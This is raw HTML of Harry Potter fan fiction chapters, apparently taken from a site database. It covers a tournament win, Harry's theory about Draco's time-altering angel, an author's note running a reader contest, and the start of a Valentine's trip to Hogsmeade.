class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did it!&#8221; Hermione\nscreeched, jumping on him in a huge hug. &#8220;Way to go Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, save some for me!&#8221; Ron\ngrinned, yelling just as loud and hugging Harry as well, soon followed by\nGinny. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s over! It&#8217;s over!&#8221; Lee\nshouted happily. &#8220;The Marauders won! The Marauders!&#8221; The stands were going\ncrazy as they all flooded onto the field and formed around the ring. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco smirked to himself as\nhe saw the people cheer for them. It was the first time the entire crowd was\nyelling for him, and it felt good. It was no secret on Quidditch, Slytherins\nbooed everyone but themselves and everyone booed the Slytherins. Now, however,\nhe heard many people shouting his name and screaming how well they fought. It\ndidn&#8217;t just feel good. It felt <i style="mso-bidi-font-style:normal">great</i>.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draco!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco turned and smirked at\nGinny. &#8220;Hey.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great job!&#8221; She proclaimed\nas she leapt at him and gave him a hug in front of everyone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, hey,&#8221; He started,\nactually blushing. &#8220;Everyone is looking!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t care, you did\nwonderfully!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yo, Draco!&#8221; Harry called\nplayfully while the Blitz team walked over to them. &#8220;Better watch out for Ron!&#8221;\nRon was too busy celebrating with Lavender, who had somehow managed to get past\nthe crowd and onto the stage. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good game, guys.&#8221; Jet said\nwhen he reached them. &#8220;It was fun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,&#8221; Agreed Rebecca with a\nsmile. &#8220;I&#8217;ll work hard from now on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice teamwork.&#8221; Gallows\ngrinned at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And strategy.&#8221; Kei and\nAshley said at the same time, making them blush.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, you guys did great\ntoo!&#8221; Harry said, shaking Ashley&#8217;s hand. &#8220;I am proud to have faced you first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly Harry found himself\nlifted into the air by Fred and George. They all laughed while Ron, Ginny,\nHermione, and surprisingly Draco were lifted into the air as well. Ron looked\ndown at Charlie and Bill, who were keeping him up. &#8220;Glad you guys could make\nit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wouldn&#8217;t miss it for the\nworld, little bro.&#8221; Bill said with a wink. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah!&#8221; Charlie shouted over\nall the noise. They were now crowd surfing toward the door. &#8220;As soon as we\nheard they were letting people not in school watch the tournament, we came as\nsoon as we could!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll talk later!&#8221; Ron\nshouted as he was moved atop the crowd.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, when did your hair get\nso <i style="mso-bidi-font-style:normal">long</i>?&#8221; Hermione asked him when\nthey were in the changing room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry ran a hand threw it. &#8220;I\ndon&#8217;t know&#8230;When I was fighting, I suddenly felt like I was moving so fast&#8230; It\nwas as if&#8230;&#8221; Harry&#8217;s eyes widened. &#8220;That&#8217;s <i style="mso-bidi-font-style:normal">it!</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blinked. &#8220;What&#8217;s\nit?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s so clear!&#8221; Harry\ncontinued as if she never spoke. &#8220;Why didn&#8217;t I see it before!?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See <i style="mso-bidi-font-style:\nnormal">what</i> before?&#8221; She demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draco!&#8221; Harry told her as if\nit was obvious. &#8220;The way his hair got so long over the summer! Why when we\ntalked on the rain, it seemed fast for me but hours for you! His ring! What did\nhe call out? Christina? Yes, that was it! An <i style="mso-bidi-font-style:\nnormal">angel</i>! The blessed being that can alter <i style="mso-bidi-font-style:\nnormal">time</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time?&#8221; She echoed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Very well done.</i>&#8221; Celestial congratulated him. &#8220;<i style="mso-bidi-font-style:\nnormal">That young man&#8217;s helper is an angel put under the same spell as I was.</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded. &#8220;That explains\nhow he once beat up six Slytherins who tried to jump him that one time!&#8221; He\nlooked at Hermione. &#8220;Ginny told me about it! Did you not notice how his hair\nalways seemed to be getting longer? It <i style="mso-bidi-font-style:normal">has</i>\nto be a side effect of time altering!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Kind of like how you don&#8217;t\nget younger when using a time turner, but you still actually age while you&#8217;re\nin the past?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exactly.&#8221; Harry agreed,\nnodding and pacing. &#8220;He can&#8217;t go <i style="mso-bidi-font-style:normal">back</i>\nin time, but he can alter the current state and make time flow faster around\nhimself. As a side effect of moving so fast in time, his hair grows abnormally\nquick!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked proud. &#8220;I&#8217;m\nimpressed, Harry. You figured that out on your own?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He blushed lightly, holding\nhis necklace. &#8220;Well, Cecilia helped me a little.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">A </i>little<i style="mso-bidi-font-style:normal">?&#8221;</i> she asked his\nmind indignantly. &#8220;<i style="mso-bidi-font-style:normal">I all but </i>told<i style="mso-bidi-font-style:normal"> you! You just didn&#8217;t figure it out</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, yeah.&#8221; Harry waved her\noff. &#8220;Thanks anyway.&#8221; He grinned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Charlie, Bill!&#8221; Harry exclaimed,\nwalking into the common room. &#8220;Fred! George! You guys made it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s been <i style="mso-bidi-font-style:normal">ages</i> since I&#8217;ve been in here.&#8221; Bill said\nstanding and shaking Harry&#8217;s hand. &#8220;I wasn&#8217;t about to miss it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We came for the tournament,&#8221;\nGeorge (or was it Fred?) continued with a grin. &#8220;But we&#8217;re gonna party!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head and\nlaughed a little. &#8220;I&#8217;d love to guys, but I&#8217;m kind of beat. Jumping around like\nthat and all. I&#8217;ll see you tomorrow?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would, but we gotta leave\nbefore tonight&#8217;s over with. Dumbledore doesn&#8217;t know we&#8217;re here.&#8221; Charlie nodded\nat him. &#8220;But you&#8217;re welcome to come by any time and see me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry grinned. &#8220;I\njust might do that. Nice seeing you again guys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m turning in too.&#8221;\nHermione stood. &#8220;I&#8217;ve had a long day as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8217;Night, &#8216;Mione.&#8221; Ron called,\nwaving. &#8220;I&#8217;m gonna stay and chat with my brothers for a bit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nighty night!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled at Hermione and\ntook her hand to lead her up the stairs, getting a few &#8216;ooh&#8217;s&#8217; from the Weasley\nclan in the process. &#8220;Ah, shadup or I&#8217;ll teach you guys a lesson in manners!&#8221;\nHarry threatened them playfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll teach you something,\nHarry.&#8221; Hermione whispered seductively up at him with a wink. &#8220;There&#8217;s a reason\nI came with you&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please, Teacher.&#8221; Harry\ngrinned, pulling her into the room and closing the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Harry</i>!?&#8221; Charlie asked, amazed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The girls go nutters over\nhim.&#8221; Ron sighed, shaking his head. &#8220;Quite annoying, really.\nI walked in on them once. Not a pretty sight let me tell you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know which would be\nworse, having to hear them or being in potions class.&#8221; Bill laughed to himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Potions definitely.&#8221; Ron\nanswered his older brother. &#8220;Last time he made us clean our cauldrons out\ncompletely without magic, to show us dedication in our trade. By the all mighty\nTuesday I <i style="mso-bidi-font-style:normal">hate</i> doing that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The room full of read heads\nall had a good laugh at that before grinning and catching up together as a\nfamily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N wow, about 11,200 words\nthis time. Heh, I guess it&#8217;ll make up a bit for chapter five, huh? Sorry again\nabout that one being so short. Anyway, let&#8217;s see. What&#8217;s new, what&#8217;s new&#8230; well\nI&#8217;m changing the names of the chapters a bit. After midnight will be this chapter: &#8220;Wake&#8221; followed by &#8220;Rise, Walk,\nRun, Lay, Sleep.&#8221;&nbsp; That&#8217;s 12 chapters in\nall. I&#8217;m assuming that should be enough to finish this up. Sleep may be an epilog,\nhowever. I&#8217;m not quite sure yet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">OKAY! Listen up guys; this is\nwhere <i style="mso-bidi-font-style:normal">you</i> make your impact on this\nstory! I&#8217;m holding a contest to see what stages the gang should fight on next.\nWhat you need to do, if you want to enter, is send an email to: Satashi@scifianime.com with the subject:\nBoF: Tournament Stages. In the subject of the email, tell me the type of field\nyou want to see them fight on and any catches or cool things the stage can\ndo.&nbsp; Don&#8217;t be shy, email as many ideas as\nyou want. I&#8217;ll pick out quite a few of them, and give you credit in the authors\nnotes at the end of the chapter ^_^. Don&#8217;t hold back, and let the ideas flow!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, I would like to take\nthis time to say a very heart felt &#8220;Thanks&#8221; to everyone at Port key who has reviewed\nthis story. 140 reviews as of right now&#8230;.Guys, I don&#8217;t know what to say. I\nmean&#8230; thanks a lot. I don&#8217;t look at my story much there besides uploading so I\ndidn&#8217;t think I had any reviews. Well, when I saw them, quite by accident, and I\nhad 132 it was just&#8230;. Wow. Thanks guys, because of all of you, I feel motivated\nto write more and faster if at all possible. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A new shout out goes to\nBabygrrl, my new beta reader. I&#8217;m sure a lot of you noticed that my usual grammar\nerrors and things were fixed this time. Thanks and credit goes to her! Domo\narigato gozaimasu, Sempai! You made this fanfic that much better (if it was\ngood to begin with :-p) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next chapter will start by\nexplaining Draco&#8217;s ring and powers, as well as giving a look at his life and\njust <i style="mso-bidi-font-style:normal">why</i> he ran from his home and\nisn&#8217;t with Voldemort right now. I know some of you don&#8217;t really like Draco, or\nhis pairing with Ginny, but he&#8217;s an essential part of this story and I feel\nit&#8217;s high time he gets some limelight and an explanation. Don&#8217;t worry, though,\nfrom what I have planned, even if you <i style="mso-bidi-font-style:normal">don&#8217;t</i>\nLike Draco, you&#8217;ll still be entertained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">OH! And if I confused a few\nof you by the sudden switch of &#8216;Malfoy&#8217; to &#8216;Draco&#8217;, it&#8217;s because that Harry now\ncalls him by his first name after they because &#8216;friends&#8217;, and&nbsp; I feel it&#8217;s a changing point in his life.\nIt&#8217;s just more dramatic this way :-p!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This was posted early as a\nValentine&#8217;s Day gift. It&#8217;s not chocolate, but hey, I tried ^_^</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">See you guys <i style="mso-bidi-font-style:normal">next</i> Monday! As in not this coming up\n&#8216;cause this one was posted early ;-) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(118, 8, '<center><b>This chapter has corrupted or a blank chapter was uploaded. Please contact the author and request that they re-upload the chapter</b></center>'),
	(118, 9, ' <p>Harry tightened the strings on his shoes and stood up, tapping the tip of them on the ground to settle them. He picked up his robe from the bed and slid it on over his jeans and long sleeved shirt. The boy walked over to the table next to his bed and opened the bottom drawer. After shuffling around a bit he pulled out a medium sized pouch and opened it. It was full of gold galleons. Nodding, he pulled the two draw strings at the top and closed it. He then fastened it to his belt and slid on the Marauder Sunshades just because it was a bright day outside (and he thought he looked &#8216;snazzy&#8217; in them). When he left his dorm, Ron smiled at him from the common room. His friend stood and gave him a high five as they met. On the way out, Ron put on the other pair of shades.&nbsp; The two best looking men at Hogwarts were on their way to Hogsmeade to get two very lucky girls candy.</p>\n\n<p>&nbsp;</p>\n\n<p>At least, the two &#8216;lucky&#8217; girls <i>hoped</i> it was candy. Last year they got something that changed them into kittens for several hours.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Breath of Fire IX</b></p>\n\n<p><b>By:</b></p>\n\n<p><b>Satashi</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p>&#8220;So what first?&#8221; Harry asked, stepping out of the carriage and onto the ground. Ron followed his lead and stretched when he could.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dunno,&#8221; he replied, looking around. &#8220;I think we should shop for the girls first, though. That way we&#8217;ll have enough money for it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded. &#8220;Sounds like a plan then.&#8221; They started walking down the streets, waving to fellow students and a few people they knew from the town. The people from Hogsmeade had gotten used to Harry over the last four years. Almost every week since his third year (well, fourth year since he had to sneak out his third year), he came to the town. No longer was he treated like a valued customer, but more like the traditional guest from Hogwarts. He no longer got free meals, or discounts at shops. It made Harry happy, though, since he was (for once) being treated like a normal person and not like a celebrity. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How about flowers?&#8221; Ron thought aloud as he passed by a magical flower shop.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry paused and looked from him to the shop. &#8220;Flowers? We&#8217;ve never given girls flowers before. Besides, they are really expensive.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, well, I&#8217;ve never <i>wanted</i> to give flowers before.&#8221; Said Ron, blushing lightly. &#8220;I think she&#8217;ll like them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry considered this and nodded. &#8220;Sure, flowers it is then. They&#8217;ll be surprised.&#8221; The two boys entered the shop and started looking around. &#8220;Who you getting them for? Lavender?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course.&#8221; Ron agreed, looking at a very pretty flower, but jumped back when it tried to bite him. &#8220;Not this one, though.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You think Hermione would like roses?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Roses?&#8221; Ron looked at the pretty red flowers. &#8220;They are so&#8230; <i>boring</i>, they don&#8217;t shine, sparkle, sing, or anything! They just&#8230; die in a week&#8217;s time or so.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221; Harry picked up a vase of a dozen of them. &#8220;I think I&#8217;ll get them.&#8221; He smelt the first one he saw and grinned. &#8220;She&#8217;ll love them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re nutters.&#8221; Ron shrugged and looked at some flowers that changed colours ever so often. &#8220;Now <i>these</i> are what a girl would like.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry knelt down and inspected the psychedelic flowers. &#8220;Oh <i>wow</i>, check them out!&#8221; Ron laughed at his reaction. &#8220;But aren&#8217;t they a bit pricy, though?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No problem.&#8221; Ron took out a pouch of coins. &#8220;I&#8217;ve enough to cover it.&#8221; Harry opened his mouth, but closed it. Ron saw this and shook his head. &#8220;I know what you&#8217;re thinking. It&#8217;s okay. I have been doing odd jobs around Hogwarts for the students. I even tutored a couple of the first years.&#8221; Now Ron wagged his eyebrows. &#8220;I also bought stuff at Zonko&#8217;s and sold them at inflated prices.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Inflated by how much?&#8221; Harry snatched the pouch and peered in. &#8220;Ron!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A galleon for a canary cream.&#8221; Ron took it back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s highway robbery!&#8221; Harry whispered, shocked, amazed, and right damn <i>proud</i> of his friend. &#8220;You can buy them for a few knuts a piece!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Grand, isn&#8217;t it?&#8221; His grin threatened to split his face. &#8220;But one thing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Highway robbery? What&#8217;s that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Dean felt something poke his back, probably a wand. &#8220;Give me all your money.&#8221; A voice told him, pushing it harder on him. Dean swallowed, starting to panic, but stopped when he heard someone try to suppress a giggle. Turning, he saw Harry holding out his finger. &#8220;Bam.&#8221; He joked, blowing the tip of his finger like a gun, getting a laugh from Seamus.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey Harry.&#8221; Dean said calmly before jumping on him and giving the lightning bolt scarred boy the nugiee of his life time. &#8220;Good to see you!&#8221; He shouted, rubbing his knuckles onto his head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, hey, I give! I give!&#8221; He laughed at him. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey guys.&#8221; Neville said, walking up to them. &#8220;Fancy meeting in a place like this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Neville, buddy, chum, pal, mate,&#8221; Ron put his arm around him. &#8220;We&#8217;re in <i>Zonko&#8217;s</i> man; I&#8217;d be scared if we met anywhere <i>but</i> here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, yeah, I still need some chocolate.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;For that special someone?&#8221; Seamus asked, jumping on Neville&#8217;s back. </p>\n\n<p>&nbsp;</p>\n\n<p>Neville tossed him off, and let Dean catch him. &#8220;If you must know, yeah.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How about this?&#8221; Harry asked, holding up a box of prank candy. &#8220;Guaranteed to make her love you or your money back?&#8221; The group all had a good laugh at that one.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, no,&#8221; Ron picked up another box. &#8220;Edible knickers! Chocolate flavoured!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Dean snatched it from his hand. &#8220;Oh, I&#8217;m getting this!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I prefer strawberry myself.&#8221; Harry grinned, and ignored the looks that got him. &#8220;But I think I&#8217;m going to be serious this time. I had someone tell me to be.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Siriusly?&#8221; Ron asked, raising an eyebrow.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded. &#8220;Sirius.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Serious what?&#8221; Seamus asked the pair.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Siriusly, serious.&#8221; Ron 